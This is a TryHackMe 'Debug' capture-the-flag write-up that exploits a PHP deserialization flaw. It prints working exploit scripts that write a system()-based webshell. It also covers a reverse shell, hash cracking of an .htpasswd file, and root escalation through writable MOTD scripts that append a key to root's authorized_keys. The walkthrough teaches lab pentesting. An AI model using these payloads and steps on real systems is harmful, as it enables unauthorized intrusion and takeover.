TryHackMe Debug Write-Up

PVXs
InfoSec Write-ups
Published in
9 min readJun 28, 2021
Debug room on TryHackMe

Debug is a free room from TryHackMe, it revolves around a PHP deserialization vulnerability present on a web page

Let’s begin with a nmap scan

nmap -sS -Pn -n -p- -vv -oA nmap/ports <target ip>-sS - SYN scan
-Pn - do not ping for host discovery
-n - do not do DNS resolution
-p- - scan all ports
-vv - print ports as soon as they are discovered
-oA - output the result in all nmap formats
nmap scan partial result

The scan quickly list port 22 (SSH) and port 80 (HTTP) as open

The scan completes with no other ports open

Let’s see what is running on port 80

Apache Ubuntu Default Page

An apache default page, let’s see if there is something else on the web server with gobuster

gobuster scan
gobuster dir -u http://10.10.80.241/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 70 --random-agent -o gobuster-80.txt-u - the base url to check
-w - wordlist to use
-t - number of parallel threads
--random-agent - use a random user agent instead of using "gobuster" as sometimes this causes gobuster to be blocked
-o - output the result in a file
There are a number of endpoints to check out
/javascript is forbidden
/backup path

/backup seems a lot like the base web root, to check this hypothesis we can see if readme.md is both on /backup/readme.md and on /readme.md

downloading and checking readme.md files

The two files are the same

And since the backup endpoint has an index.html.bak, I guess that there should be a index.html on the main “production” web root URL

index.html

And in fact it is the apache default page

What about the index.php(.bak) present in the backup folder?

index.php

In fact it exists!

Form on index.php

Moreover the index.php page has a form for submitting messages to the administrators

But, more important than the form, is the index.php.bak present in the /backup directory, as we can download the file since apache will not execute it as it does not end with a php/php5/phtml extention, so it is treated as any text file

Downloading index.php.bak

The index.php.bak file is basically a plain HTML file with just one small PHP snippet

PHP code in index.php.bak
<?php                                                                                                                                                                                                              

class FormSubmit {

public $form_file = 'message.txt';
public $message = '';

public function SaveMessage() {

$NameArea = $_GET['name'];
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];
$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";}public function __destruct() {file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';
}}// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);
$application = new FormSubmit;
$application -> SaveMessage();
?>

The code uses the GET parameters ‘name’, ‘email’ and ‘comments’ from the form in /index.php and creates a message for the administrator

as the page is loaded, the PHP object ‘FormSubmit’ containing the message is created and, as soon as it is created, the object is deleted as the PHP script execution ends

In PHP, when an instance of a class is deleted, if the object class has a __destruct() method, this __destruct() function is called

more info here

The __destruct() function present in the code creates/appends the content of the variable ‘message’ into a file named from the content of the variable ‘form_file’

So if we can pass a PHP webshell in the ‘message’ variable and set ‘form_file’ to a .php file name, we should be able to obtain a webshell

But as far as the code tells us, the only instance of FormSubmit is created programmatically, the name of the file is always ‘message.txt’ and the message is taken from the form input fields

Testing the form
Checking the submission result

So even if we try to inject PHP code, it will not be executed as the file is .txt

Testing for PHP code execution
Checking if we have code execution, we have not

The interesting part of the code that we can leverage to our advantage is the following

Vulnerable PHP code in index.php
// Leaving this for now... only for debug purposes... do not touch!$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

Here the developer left a call to unserialize() that will be used when the GET parameter ‘debug’ is not empty

unserialize() is a function that takes a string input and creates a PHP object from the input itself

So if we create on our local attack machine/VM a PHP ‘FormSubmit’ object based on the code we found, with ‘message’ set to a PHP web shell and ‘form_file’ set to a .php file name, serialize it and send the resulting string as value for the GET ‘debug’ parameter of index.php, we should be able to create a php file with arbitrary content

Let’s run a test first

PHP code on attacker machine — exploit.php
<?php
class FormSubmit {
public $form_file = 'file.notphp';
public $message = 'test content';
}print urlencode(serialize(new FormSubmit));
?>

The above code declares a PHP class named ‘FormSubmit’, creates an instance, it serializes it and then url encodes the result as we have to send this over to an HTTP server

Serialized and URL-encoded PHP object

Let’s copy this string and send it over to index.php in the ‘debug’ GET parameter

Sending the payload to index.php
Checking the result

And in /file.notphp we find the content we setup on our exploit.php file

So, as the PHP object was created by unserialize(), it then was deleted by the conclusion of the PHP code execution and then __destruct() created the file as we wanted

What will happen if we use the following code to create out serialized object?

exploit1.php
<?php
class FormSubmit {
public $form_file = 'message.php';
public $message = '<?php
if(isset($_GET[\'cmd\']))
{
system($_GET[\'cmd\']);
}
?>';
}print urlencode(serialize(new FormSubmit));
?>

This should create a ‘message.php’ file with a system() call using the GET parameter ‘cmd’ thus allowing remote code execution on the target machine

Serialized and URL-encoded webshell

Let’s copy this string and send it over to index.php in the ‘debug’ GET parameter

Sending the payload to index.php

Then, after visiting the URL with the serialized PHP object, we check if our webshell works as intended

Trying to list the web root directory
It worked!

In order to use this webshell in a simpler way, I am going to switch over to Burp

Same request as before but on Burp Suite

Let’s send this request to repeater, and see if we can get a shell

Checking for bash

Indeed we have bash on the target

Let’s see if a simple bash reverse shell from pentestmonkey works

Reverse shell obtained

The reverse shell works and we are on the target machine as www-data!

Setting up linpeas

Setup linpeas.sh on a python3 http.server to allow downloading from the target machine

more info here

Linpeas running

And we have linpeas running on the target machine

Linpeas results

Linpeas here is giving us everything we need, and right at the end of its execution it gives us some very valuable information

.htpasswd file on the web root

We can then copy this hash to our machine and execute john on it

Cracking .htpasswd hash with john

And now we can try to use these credentials to access the machine via ssh

Loggin via ssh

We have ssh access

ssh user home directory and interesting files

And user.txt file for the flag

user.txt

In the user home directory we see that there is a ‘Note’ file with some info from the root user

It is saying that the current ssh user has the privileges to change the MOTD

From linpeas, the directories listing on the web server and the apache UBUNTU default web page we know we are on a ubuntu machine

A quick google search finds us an old but interesting blog post about MOTD locations in ubuntu

And in fact we find the motd scripts in /etc/update-motd.d

/etc/update-motd.d/ files

These scripts are set as executable and are executed as root when a user logs in on the machine

By adding commands to these scripts we can execute any command we want and we can edit them as the owner group for these files has been set to our user

more info here

From the previuos execution of linpeas we know that root is allowed to login via ssh, so we could try and add an ssh public key to root’s authorized_keys /root/.ssh/ directory

Linpeas SSH files section
Generating SSH key pairs
Copying the public key
Removing the user name from the copied public key file, I know it is too small

Copy the public key to the user home direcory and remove the user name from the public key

Editing one of the MOTD scripts

Add the command in any of the motd files to append the user public key to root’s authorized keys

Now exit the ssh session and login again with the same user, then try to ssh on the local host using the newly created private key

Got root!

We are root and can read root.txt for the flag

root.txt flag

This concludes TryHackMe Debug room

I hope you liked it.

PVXs

--

--

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet

Write a response